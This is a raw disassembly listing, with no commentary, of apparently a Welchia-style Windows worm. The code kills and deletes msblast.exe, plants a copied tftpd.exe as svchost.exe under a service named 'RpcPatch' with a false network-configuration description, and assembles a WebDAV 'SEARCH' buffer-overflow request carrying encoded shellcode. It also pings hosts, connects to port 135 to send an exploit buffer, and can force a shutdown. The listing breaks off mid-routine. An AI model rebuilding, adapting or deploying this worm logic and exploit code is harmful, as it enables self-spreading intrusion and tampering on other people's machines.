aDirWinsDllhost ; "dir wins\\dllhost.exe\n\r" push esi call sub_401B10 add esp, 0Ch test eax, eax jz loc_401E54 lea edx, [esp+410h+var_400] push offset aDllhost_exe ; "DLLHOST.EXE" push edx call ebp ; dword_404100 add esp, 8 test eax, eax jnz loc_401E54 lea eax, [esp+410h+var_400] push offset aDllhost_exe_0 ; "dllhost.exe" push eax call ebp ; dword_404100 add esp, 8 test eax, eax jnz loc_401E54 lea ecx, [esp+410h+var_400] push ecx push offset aDirDllcacheTft ; "dir dllcache\\tftpd.exe\n\r" push esi call sub_401B10 add esp, 0Ch test eax, eax jz loc_401E54 lea edx, [esp+410h+var_400] push offset aTftpd_exe_0 ; "tftpd.exe" push edx call ebp ; dword_404100 add esp, 8 test eax, eax jnz short loc_401DF0 lea eax, [esp+410h+var_400] push offset aTftpd_exe ; "TFTPD.EXE" push eax call ebp ; dword_404100 add esp, 8 test eax, eax jnz short loc_401DF0 lea ecx, [esp+410h+var_400] push ecx push offset dword_407628 push esi call sub_401B90 add esp, 0Ch test eax, eax jz short loc_401E54 jmp short loc_401E07 ; --------------------------------------------------------------------------- loc_401DF0: ; CODE XREF: sub_401C80+142j ; sub_401C80+155j lea edx, [esp+410h+var_400] push edx push offset aCopyDllcacheTf ; "copy dllcache\\tftpd.exe wins\\svchost.ex"... push esi call sub_401B10 add esp, 0Ch test eax, eax jz short loc_401E54 loc_401E07: ; CODE XREF: sub_401C80+16Ej lea eax, [esp+410h+var_400] push eax push offset dword_4075A8 push esi call sub_401B90 add esp, 0Ch test eax, eax jz short loc_401E54 mov ebp, dword_4040C8 push 1F4h call ebp ; dword_4040C8 mov edi, offset aWinsDllhost_ex ; "wins\\DLLHOST.EXE\n\r" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset aWinsDllhost_ex ; "wins\\DLLHOST.EXE\n\r" push esi call dword_404168 ; send test eax, eax jz short loc_401E54 push 3E8h call ebp ; dword_4040C8 loc_401E54: ; CODE XREF: sub_401C80+5Fj ; sub_401C80+67j ... push esi call dword_404170 ; closesocket pop edi pop esi mov eax, [esp+408h+arg_0] pop ebp test eax, eax jz short loc_401E72 push eax call sub_402FC6 add esp, 4 loc_401E72: ; CODE XREF: sub_401C80+1E7j mov eax, 1 add esp, 404h retn 4 sub_401C80 endp ; =============== S U B R O U T I N E ======================================= sub_401E80 proc near ; CODE XREF: sub_401210:loc_401217p ; sub_401210+17p push offset aMicrosoft_com ; "microsoft.com" call dword_404160 ; gethostbyname neg eax sbb eax, eax neg eax retn sub_401E80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401EA0 proc near ; CODE XREF: sub_401210:loc_401230p var_70 = dword ptr -70h var_64 = byte ptr -64h sub esp, 74h lea eax, [esp+74h+var_64] push esi push 64h push eax call dword_404158 ; gethostname cmp eax, 0FFFFFFFFh jz short loc_401F1D lea ecx, [esp+78h+var_64] push ecx call dword_404160 ; gethostbyname test eax, eax jz short loc_401F1D mov edx, [eax+0Ch] mov esi, [edx] test esi, esi jz short loc_401F1D movsx ecx, word ptr [eax+0Ah] mov eax, ecx push edi lea edi, [esp+7Ch+var_70] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+7Ch+var_70] push ecx call dword_40415C ; inet_ntoa mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, 1 mov edx, ecx mov esi, edi mov edi, offset dword_407478 shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb pop edi pop esi add esp, 74h retn ; --------------------------------------------------------------------------- loc_401F1D: ; CODE XREF: sub_401EA0+14j ; sub_401EA0+23j ... xor eax, eax pop esi add esp, 74h retn sub_401EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F30 proc near ; CODE XREF: sub_401280+A5p var_50 = byte ptr -50h sub esp, 50h or ecx, 0FFFFFFFFh xor eax, eax push esi push edi mov edi, offset aSearch ; "SEARCH /" repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ds:dword_4075A0 shr ecx, 2 rep movsd mov ecx, eax mov eax, 41414141h and ecx, 3 rep movsb mov edx, ds:dword_4075A0 mov ecx, 41h mov dword_406424, 8 mov esi, offset aU5951U6858U759 ; "%u5951%u6858%u759f%u0018%u5951%u6858%u7"... lea edi, [edx+8] rep stosd stosb mov eax, dword_406424 mov edx, ds:dword_4075A0 add eax, 105h mov ecx, 41414141h mov dword_406424, eax add eax, edx mov [eax], ecx mov [eax+4], ecx mov eax, dword_406424 mov ecx, ds:dword_4075A0 add eax, 8 mov dword_406424, eax lea edi, [eax+ecx] mov ecx, 30h rep movsd movsb mov eax, dword_406424 mov edx, ds:dword_4075A0 add eax, 0C0h mov ecx, 31h mov esi, offset aU5390U665eU66a ; "%u5390%u665e%u66ad%u993d%u7560%u56f8%u5"... mov dword_406424, eax lea edi, [eax+edx] rep movsd movsw movsb mov eax, dword_406424 mov ecx, ds:dword_4075A0 add eax, 0C6h mov esi, offset aFfilomidomfafd ; "ffilomidomfafdfgfhinhnlaljbeaaaaaalimmm"... mov dword_406424, eax lea edi, [eax+ecx] mov ecx, 55h rep movsd movsb mov edx, dword_406424 mov esi, ds:dword_4075A0 add edx, 154h mov ecx, 3F52h mov eax, 4E4E4E4Eh mov dword_406424, edx lea edi, [edx+esi] mov esi, offset aHttp1_1Host127 ; " HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Typ"... rep stosd stosw mov eax, dword_406424 mov edx, ds:dword_4075A0 mov ecx, 14h lea edi, [esp+58h+var_50] add eax, 0FD4Ah rep movsd lea edi, [eax+edx] mov ecx, 14h lea esi, [esp+58h+var_50] mov dword_406424, eax rep movsd mov eax, dword_406424 mov esi, offset loc_40597E add eax, 4Fh mov dword_406424, eax lea ecx, [eax+0E7h] lea edx, [eax+0ECh] mov dword_40642C, ecx mov ecx, ds:dword_4075A0 mov ds:dword_407470, edx lea edi, [eax+ecx] mov ecx, 5Dh rep movsd movsw mov eax, dword_406424 mov esi, ds:dword_4075A0 mov cx, word_406238 mov dl, byte_40623A add eax, 175h pop edi mov dword_406424, eax add eax, esi pop esi mov [eax], cx mov [eax+2], dl mov eax, dword_406424 add eax, 2 mov dword_406424, eax add esp, 50h retn sub_401F30 endp ; =============== S U B R O U T I N E ======================================= sub_4020E0 proc near ; CODE XREF: sub_401210+57p mov ax, word_405B68 push eax call dword_404174 ; ntohs mov ecx, ds:dword_4075A0 mov edx, dword_40642C xor eax, 9999h push offset dword_407478 mov [edx+ecx], ax call dword_404194 ; inet_addr mov ecx, ds:dword_4075A0 mov edx, ds:dword_407470 xor eax, 99999999h mov [edx+ecx], eax retn sub_4020E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402130 proc near ; CODE XREF: sub_401210+5Cp mov ax, word_405B68 push eax call dword_404174 ; ntohs mov ecx, dword_406428 xor eax, 9999h push offset dword_407478 mov word ptr dword_406470[ecx], ax call dword_404194 ; inet_addr mov edx, ds:dword_407474 xor eax, 99999999h mov dword_406470[edx], eax retn sub_402130 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402170 proc near ; CODE XREF: sub_401280+AAp push esi mov eax, dword_4057DC push edi mov ecx, 0D8h mov esi, offset dword_40547C mov edi, offset dword_406470 rep movsd mov ecx, dword_4057E4 add eax, 166h add ecx, 166h mov dword_4057DC, eax mov dword_4057E4, ecx mov dword_4067D8, ecx mov ecx, dword_4057E8 mov dword_4067D0, eax mov eax, dword_4057E0 mov dword_4067DC, ecx mov ecx, 0B3h mov esi, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" mov edi, offset dword_4067E0 mov edx, dword_405484 mov dword_40584C, 100139Dh mov dword_4067D4, eax rep movsd mov ecx, 0Fh mov esi, offset aC1234561111111 ; "\\C$\\123456111111111111111.doc" mov edi, offset dword_406AAC add edx, 2C0h rep movsd mov ecx, 0Ch mov esi, offset dword_405AF4 mov edi, offset dword_406AE8 mov eax, 2C0h rep movsd mov esi, dword_406480 mov ecx, dword_4064F4 mov edi, dword_406524 mov dword_406478, edx mov edx, dword_4064F0 add esi, eax add edx, eax add ecx, eax mov dword_406480, esi mov esi, dword_406528 mov dword_4064F0, edx mov edx, dword_406540 mov dword_4064F4, ecx mov ecx, dword_4065FC add edi, eax add esi, eax mov dword_406524, edi add edx, eax add ecx, eax mov dword_406528, esi pop edi mov dword_406428, 5ADh mov ds:dword_407474, 5B2h mov dword_406420, 6A8h mov dword_406540, edx mov dword_4065FC, ecx pop esi retn sub_402170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4022A0 proc near ; CODE XREF: sub_401780+1E8p ; DATA XREF: sub_40B595+2Ew var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_4 = dword ptr 8 sub esp, 14h lea eax, [esp+14h+var_14] push eax push 28h call dword_40409C ; GetCurrentProcess push eax call dword_404044 ; OpenProcessToken lea ecx, [esp+10h+var_8] push ecx push offset aSeshutdownpriv ; "SeShutdownPrivilege" push 0 call dword_404048 ; LookupPrivilegeValueA mov eax, [esp+10h+var_10] push 0 push 0 lea edx, [esp+18h+var_C] push 0 push edx push 0 push eax mov [esp+28h+var_C], 1 mov dword ptr [esp+28h], 2 call dword_404028 ; AdjustTokenPrivileges mov ecx, [esp+10h+arg_4] push 0 loc_4022F7: ; DATA XREF: sub_40B526w ; sub_40B526+29r or ecx, 4 push ecx call dword_404148 ; ExitWindowsEx add esp, 14h retn sub_4022A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402310 proc near ; CODE XREF: sub_401780+8p var_9C = dword ptr -9Ch var_94 = dword ptr -94h sub esp, 9Ch call dword_404094 ; GetVersion and eax, 0FFh lea ecx, [esp+9Ch+var_9C] cmp eax, 5 push ecx sbb eax, eax and al, 0F8h add eax, 9Ch mov [esp+0A0h+var_9C], eax call dword_404098 ; GetVersionExA mov eax, [esp+9Ch+var_94] add esp, 9Ch retn sub_402310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402350 proc near ; CODE XREF: sub_402390+Dp ; sub_402390+21p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [esp+arg_0] push eax push 1 push 0 push ecx push 80000002h call dword_40403C ; RegOpenKeyExA test eax, eax jnz short loc_40237E mov edx, [esp+arg_0] push edx call dword_404040 ; RegCloseKey mov eax, 1 retn ; --------------------------------------------------------------------------- loc_40237E: ; CODE XREF: sub_402350+1Bj xor eax, eax retn sub_402350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402390 proc near ; CODE XREF: sub_401780+1Dp ; sub_401780+1DAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jnz short loc_4023AC push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Updates\\Windows 2000"... call sub_402350 add esp, 4 neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_4023AC: ; CODE XREF: sub_402390+6j push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Updates\\Windows XP\\S"... call sub_402350 add esp, 4 test eax, eax jnz short loc_4023CF push offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Updates\\Windows XP\\S"... call sub_402350 add esp, 4 test eax, eax jnz short loc_4023CF retn ; --------------------------------------------------------------------------- loc_4023CF: ; CODE XREF: sub_402390+2Bj ; sub_402390+3Cj mov eax, 1 retn sub_402390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4023E0 proc near ; CODE XREF: sub_4015E0+61p ; sub_401660+5Cp var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 110h push ebx push ebp push esi push edi push 0F003Fh push 0 push 0 call dword_40402C ; OpenSCManagerA mov ebp, eax test ebp, ebp jnz short loc_40240A pop edi pop esi pop ebp pop ebx add esp, 110h retn ; --------------------------------------------------------------------------- loc_40240A: ; CODE XREF: sub_4023E0+1Dj mov ecx, 41h xor eax, eax lea edi, [esp+120h+var_107] mov [esp+120h+var_108], 0 rep stosd mov edi, [esp+120h+arg_8] lea eax, [esp+120h+var_108] push edi push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" push offset aSWinsS ; "%s\\wins\\%s" push eax call dword_40411C ; sprintf push offset aSvchost_exe ; "svchost.exe" push edi mov esi, 2 call dword_404140 ; _stricmp add esp, 18h test eax, eax jnz short loc_402456 mov esi, 3 loc_402456: ; CODE XREF: sub_4023E0+6Fj push 0 mov edx, [esp+124h+arg_4] push 0 mov eax, [esp+128h+arg_0] push 0 push 0 lea ecx, [esp+130h+var_108] push 0 push ecx push 0 push esi push 110h push 0F01FFh push edx push eax push ebp call dword_404030 ; CreateServiceA mov ebx, eax test ebx, ebx jnz short loc_4024A3 push ebp call dword_404034 ; CloseServiceHandle pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 110h retn ; --------------------------------------------------------------------------- loc_4024A3: ; CODE XREF: sub_4023E0+ADj mov ecx, [esp+120h+arg_C] push 0F01FFh push ecx push ebp mov [esp+12Ch+var_110], offset aManagesNetwork ; "Manages network configuration by updati"... xor esi, esi call dword_404038 ; OpenServiceA mov edi, eax test edi, edi jz short loc_402507 push 400h push 40h mov [esp+128h+var_10C], esi call dword_40408C ; LocalAlloc mov esi, eax test esi, esi jz short loc_4024FC lea edx, [esp+120h+var_10C] push edx push 400h push esi push 1 push edi call dword_404004 ; QueryServiceConfig2A test eax, eax jz short loc_4024FC mov eax, [esi] mov [esp+120h+var_110], eax loc_4024FC: ; CODE XREF: sub_4023E0+FCj ; sub_4023E0+114j push edi mov edi, dword_404034 call edi ; dword_404034 jmp short loc_40250D ; --------------------------------------------------------------------------- loc_402507: ; CODE XREF: sub_4023E0+E5j mov edi, dword_404034 loc_40250D: ; CODE XREF: sub_4023E0+125j lea ecx, [esp+120h+var_110] push ecx push 1 push ebx call dword_404000 ; ChangeServiceConfig2A test esi, esi jz short loc_402526 push esi call dword_404090 ; LocalFree loc_402526: ; CODE XREF: sub_4023E0+13Dj push ebx call edi ; dword_404034 push ebp call edi ; dword_404034 pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 110h retn sub_4023E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402540 proc near ; CODE XREF: sub_401280+ECp ; sub_401280+110p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = byte ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = dword ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 134h push ebp push edi push 0F003Fh push 0 push 0 call dword_40402C ; OpenSCManagerA mov ebp, eax test ebp, ebp mov [esp+13Ch+var_134], ebp jnz short loc_40256A pop edi pop ebp add esp, 134h retn ; --------------------------------------------------------------------------- loc_40256A: ; CODE XREF: sub_402540+1Fj push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" lea eax, [esp+140h+var_104] push offset aDSWins ; "-d%s\\wins" push eax mov [esp+148h+var_130], 0 call dword_40411C ; sprintf mov edx, [esp+148h+arg_0] add esp, 0Ch lea ecx, [esp+13Ch+var_104] push 0F01FFh push edx push ebp mov [esp+148h+var_128], ecx call dword_404038 ; OpenServiceA mov edi, eax test edi, edi jnz short loc_4025B5 pop edi pop ebp add esp, 134h retn ; --------------------------------------------------------------------------- loc_4025B5: ; CODE XREF: sub_402540+6Aj push ebx push esi push 400h push 40h call dword_40408C ; LocalAlloc mov esi, dword_40401C mov ebx, eax lea eax, [esp+13Ch+var_118] mov [esp+13Ch+var_124], ebx push eax push edi call esi ; dword_40401C test eax, eax jnz short loc_4025E3 xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_4025E3: ; CODE XREF: sub_402540+9Aj mov eax, [esp+13Ch+var_114] cmp eax, 4 jz loc_402709 cmp eax, 2 jz loc_402709 lea ecx, [esp+13Ch+var_11C] push ecx push 400h push ebx push edi call dword_404020 ; QueryServiceConfigA test eax, eax jnz short loc_402616 xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_402616: ; CODE XREF: sub_402540+CDj cmp dword ptr [ebx+4], 4 jnz short loc_402642 push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0FFFFFFFFh push 3 push 0FFFFFFFFh push edi call dword_404024 ; ChangeServiceConfigA test eax, eax jnz short loc_402642 xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_402642: ; CODE XREF: sub_402540+DAj ; sub_402540+F9j lea edx, [esp+13Ch+var_120] push edx push 1 push edi call dword_404008 ; StartServiceA test eax, eax jnz short loc_40265B xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_40265B: ; CODE XREF: sub_402540+112j lea eax, [esp+13Ch+var_118] push eax push edi call esi ; dword_40401C test eax, eax jnz short loc_40266E xor esi, esi jmp loc_40270E ; --------------------------------------------------------------------------- loc_40266E: ; CODE XREF: sub_402540+125j cmp [esp+13Ch+var_114], 2 jnz loc_4026F9 mov ebp, dword_4040C8 mov ebx, dword_4040C0 mov esi, [esp+13Ch+var_11C] loc_402689: ; CODE XREF: sub_402540+1AFj mov eax, 0CCCCCCCDh mul [esp+13Ch+var_100] shr edx, 3 cmp edx, 3E8h jnb short loc_4026A4 mov edx, 3E8h jmp short loc_4026B1 ; --------------------------------------------------------------------------- loc_4026A4: ; CODE XREF: sub_402540+15Bj cmp edx, 2710h jbe short loc_4026B1 mov edx, 2710h loc_4026B1: ; CODE XREF: sub_402540+162j ; sub_402540+16Aj push edx call ebp ; dword_4040C8 lea ecx, [esp+13Ch+var_118] push ecx push edi call dword_40401C ; QueryServiceStatus test eax, eax jz short loc_4026F1 mov edx, [esp+13Ch+var_128] mov eax, [esp+13Ch+var_104] cmp eax, edx jbe short loc_4026DE call ebx ; dword_4040C0 mov esi, eax mov eax, [esp+13Ch+var_104] mov [esp+13Ch+var_128], eax jmp short loc_4026EA ; --------------------------------------------------------------------------- loc_4026DE: ; CODE XREF: sub_402540+18Ej call ebx ; dword_4040C0 mov ecx, [esp+13Ch+var_100] sub eax, esi cmp eax, ecx ja short loc_4026F1 loc_4026EA: ; CODE XREF: sub_402540+19Cj cmp [esp+13Ch+var_114], 2 jz short loc_402689 loc_4026F1: ; CODE XREF: sub_402540+182j ; sub_402540+1A8j mov ebp, [esp+13Ch+var_12C] mov ebx, [esp+13Ch+var_124] loc_4026F9: ; CODE XREF: sub_402540+133j mov eax, [esp+13Ch+var_114] xor ecx, ecx cmp eax, 4 setz cl mov esi, ecx jmp short loc_40270E ; --------------------------------------------------------------------------- loc_402709: ; CODE XREF: sub_402540+AAj ; sub_402540+B3j mov esi, 1 loc_40270E: ; CODE XREF: sub_402540+9Ej ; sub_402540+D1j ... push ebx call dword_404090 ; LocalFree push edi mov edi, dword_404034 call edi ; dword_404034 push ebp call edi ; dword_404034 mov eax, esi pop esi pop ebx pop edi pop ebp add esp, 134h retn sub_402540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402730 proc near ; CODE XREF: sub_4011C0+1Fp var_1C = byte ptr -1Ch var_18 = dword ptr -18h sub esp, 1Ch push esi push edi push 80000000h push 0 push 0 call dword_40402C ; OpenSCManagerA mov edi, eax test edi, edi jnz short loc_402755 pop edi mov eax, 11111111h pop esi add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_402755: ; CODE XREF: sub_402730+18j push 0F01FFh push offset aRpcpatch ; "RpcPatch" push edi call dword_404038 ; OpenServiceA mov esi, eax test esi, esi jnz short loc_402777 pop edi mov eax, 22222222h pop esi add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_402777: ; CODE XREF: sub_402730+3Aj lea eax, [esp+24h+var_1C] push eax push esi call dword_40401C ; QueryServiceStatus test eax, eax push esi mov esi, dword_404034 jnz short loc_40279E call esi ; dword_404034 push edi call esi ; dword_404034 pop edi mov eax, 33333333h pop esi add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_40279E: ; CODE XREF: sub_402730+5Cj call esi ; dword_404034 push edi call esi ; dword_404034 mov eax, [esp+24h+var_18] pop edi pop esi add esp, 1Ch retn sub_402730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4027B0 proc near ; CODE XREF: sub_4011C0+6p push offset aRpcpatch_mutex ; "RpcPatch_Mutex" push 0 push 0 call dword_404084 ; CreateMutexA test eax, eax jz short loc_4027D3 call dword_404060 ; RtlGetLastWin32Error cmp eax, 0B7h jz short loc_4027D3 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4027D3: ; CODE XREF: sub_4027B0+11j ; sub_4027B0+1Ej mov eax, 1 retn sub_4027B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4027E0 proc near ; CODE XREF: sub_4011C0:loc_4011FCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 10h xor eax, eax mov [esp+10h+var_10], offset aRpcpatch ; "RpcPatch" mov [esp+10h+var_8], eax mov [esp+10h+var_4], eax lea eax, [esp+10h+var_10] mov [esp+10h+var_C], offset loc_402920 push eax call dword_404018 ; StartServiceCtrlDispatcherA neg eax sbb eax, eax neg eax dec eax add esp, 10h retn sub_4027E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402820 proc near ; CODE XREF: sub_402880+1Ap ; sub_402880+33p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 1Ch mov eax, [esp+1Ch+arg_0] mov ecx, [esp+1Ch+arg_8] mov dword_405BA0, eax mov [esp+1Ch+var_18], eax mov eax, [esp+1Ch+arg_4] lea edx, [esp+1Ch+var_1C] mov [esp+1Ch+var_10], eax mov eax, ds:dword_4076A8 push edx push eax mov [esp+24h+var_1C], 10h mov [esp+24h+var_14], 5 mov [esp+24h+var_C], 0 mov [esp+24h+var_8], ecx mov [esp+24h+var_4], 0BB8h call dword_404014 ; SetServiceStatus add esp, 1Ch retn sub_402820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402880 proc near ; DATA XREF: seg000:loc_402920o arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax cmp eax, 3 ; switch 4 cases ja short locret_402909 ; default jmp off_40290C[eax*4] ; switch jump loc_402891: ; DATA XREF: seg000:off_40290Co push 1388h ; jumptable 0040288A case 0 push 0 push 3 call sub_402820 add esp, 0Ch push 3E8h call dword_4040C8 ; Sleep push 0 push 0 push 1 call sub_402820 add esp, 0Ch retn 4 ; --------------------------------------------------------------------------- loc_4028BE: ; CODE XREF: sub_402880+Aj ; DATA XREF: seg000:off_40290Co push 1 ; jumptable 0040288A case 1 push 0 push 6 call sub_402820 push 0 push 0 push 7 call sub_402820 add esp, 18h retn 4 ; --------------------------------------------------------------------------- loc_4028DA: ; CODE XREF: sub_402880+Aj ; DATA XREF: seg000:off_40290Co push 1 ; jumptable 0040288A case 2 push 0 push 5 call sub_402820 push 0 push 0 push 4 call sub_402820 add esp, 18h retn 4 ; --------------------------------------------------------------------------- loc_4028F6: ; CODE XREF: sub_402880+Aj ; DATA XREF: seg000:off_40290Co mov ecx, dword_405BA0 ; jumptable 0040288A case 3 push 0 push 0 push ecx call sub_402820 add esp, 0Ch locret_402909: ; CODE XREF: sub_402880+8j retn 4 ; default sub_402880 endp ; --------------------------------------------------------------------------- off_40290C dd offset loc_402891 ; DATA XREF: sub_402880+Ar dd offset loc_4028BE ; jump table for switch statement dd offset loc_4028DA dd offset loc_4028F6 align 10h loc_402920: ; DATA XREF: sub_4027E0+19o push offset sub_402880 push offset aRpcpatch ; "RpcPatch" call dword_404010 ; RegisterServiceCtrlHandlerA test eax, eax mov ds:dword_4076A8, eax jz short locret_40296D push 1 push 0 push 2 call sub_402820 push 0 push 0 push 4 call sub_402820 call sub_401280 push 0 push 0 push 3 call sub_402820 push 0 push 0 push 1 call sub_402820 add esp, 30h locret_40296D: ; CODE XREF: seg000:00402937j retn 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402970 proc near ; CODE XREF: sub_401280+4Ep var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 210h push esi mov esi, dword_4040A8 lea eax, [ebp+var_10C] push 104h push eax push 0 call esi ; dword_4040A8 lea ecx, [ebp+var_10C] push ecx call dword_404074 ; GetFileAttributesA test al, 1 jz short loc_4029B1 and al, 0FEh lea edx, [ebp+var_10C] push eax push edx call dword_404078 ; SetFileAttributesA loc_4029B1: ; CODE XREF: sub_402970+2Fj push 0 call dword_40407C ; GetModuleHandleA lea ecx, [ebp+var_210] push 104h push ecx push eax mov [ebp+var_4], eax call esi ; dword_4040A8 push 4 call dword_4040E0 ; CloseHandle lea eax, [ebp+var_210] push 0 push 0 push eax push dword_4040BC push [ebp+var_4] push dword_4040E8 push dword_404080 retn sub_402970 endp ; sp-analysis failed ; --------------------------------------------------------------------------- pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402A00 proc near ; CODE XREF: sub_401280+1Ep ; sub_401280+1D9p var_108 = byte ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h sub esp, 108h push esi push edi push offset aMsblast ; "msblast" call sub_401000 add esp, 4 test eax, eax jz short loc_402A48 push eax push 0 push 1F0FFFh call dword_404070 ; OpenProcess mov esi, eax test esi, esi jz short loc_402A48 push 1 push esi call dword_4040AC ; TerminateProcess push 1388h call dword_4040C8 ; Sleep push esi call dword_4040E0 ; CloseHandle loc_402A48: ; CODE XREF: sub_402A00+17j ; sub_402A00+2Bj mov ecx, 41h xor eax, eax lea edi, [esp+10Ch+var_103] mov [esp+10Ch+var_104], 0 rep stosd push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" lea eax, [esp+110h+var_104] push offset aSMsblast_exe ; "%s\\msblast.exe" push eax call dword_40411C ; sprintf add esp, 0Ch lea ecx, [esp+10Ch+var_104] push ecx call dword_404074 ; GetFileAttributesA pop edi pop esi test al, 1 jz short loc_402A91 and al, 0FEh lea edx, [esp+108h+var_108] push eax push edx call dword_404078 ; SetFileAttributesA loc_402A91: ; CODE XREF: sub_402A00+81j lea eax, [esp+108h+var_108] push eax call dword_4040E8 ; DeleteFileA add esp, 108h retn sub_402A00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402AB0 proc near ; CODE XREF: sub_402B20+26p ; sub_402C40+27p arg_0 = dword ptr 4 push esi push edi call sub_403122 ; IcmpCreateFile mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_402AC3 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_402AC3: ; CODE XREF: sub_402AB0+Cj push 5Ch push 40h call dword_404068 ; GlobalAlloc mov esi, eax test esi, esi jnz short loc_402ADE push edi call sub_40311C ; IcmpCloseHandle pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_402ADE: ; CODE XREF: sub_402AB0+21j mov eax, [esp+8+arg_0] push ebx push 7D0h push 5Ch push esi push 0 push 40h push offset dword_406430 push eax push edi mov dword ptr [esi+10h], offset dword_406430 mov word ptr [esi+0Ch], 40h call sub_403116 ; IcmpSendEcho push esi mov ebx, eax call dword_40406C ; GlobalFree push edi call sub_40311C ; IcmpCloseHandle mov eax, ebx pop ebx pop edi pop esi retn sub_402AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_402B20 proc near ; DATA XREF: sub_401470+F0o var_414 = word ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_3FC = byte ptr -3FCh arg_0 = dword ptr 4 sub esp, 414h push ebp push esi push offset dword_4075A4 call dword_404088 ; InterlockedIncrement mov dword ptr [esp+41Ch+var_414], 0BB8h mov ebp, [esp+41Ch+arg_0] mov esi, [ebp+0] push esi call sub_402AB0 add esp, 4 test eax, eax jz loc_402C17 push 87h mov word ptr [esp+420h+var_410], 2 mov [esp+420h+var_40C], esi call dword_404174 ; ntohs push 0 push 1 push 2 mov word ptr [esp+428h+var_410+2], ax call dword_404150 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz loc_402C17 push ebx push edi lea eax, [esp+424h+var_410] push 10h push eax push esi call dword_404154 ; connect cmp eax, 0FFFFFFFFh jz short loc_402C0E mov ebx, dword_404168 push 0 push 48h push offset dword_405434 push esi call ebx ; dword_404168 cmp eax, 0FFFFFFFFh jz short loc_402C0E lea ecx, [esp+420h+var_410] push 4 push ecx push 1006h push 0FFFFh push esi call dword_404164 ; setsockopt mov edi, dword_40416C push 0 lea edx, [esp+424h+var_3FC] push 3E8h push edx push esi call edi ; dword_40416C cmp eax, 0FFFFFFFFh jz short loc_402C0E test eax, eax jz short loc_402C0E mov eax, dword_406420 push 0 push eax push 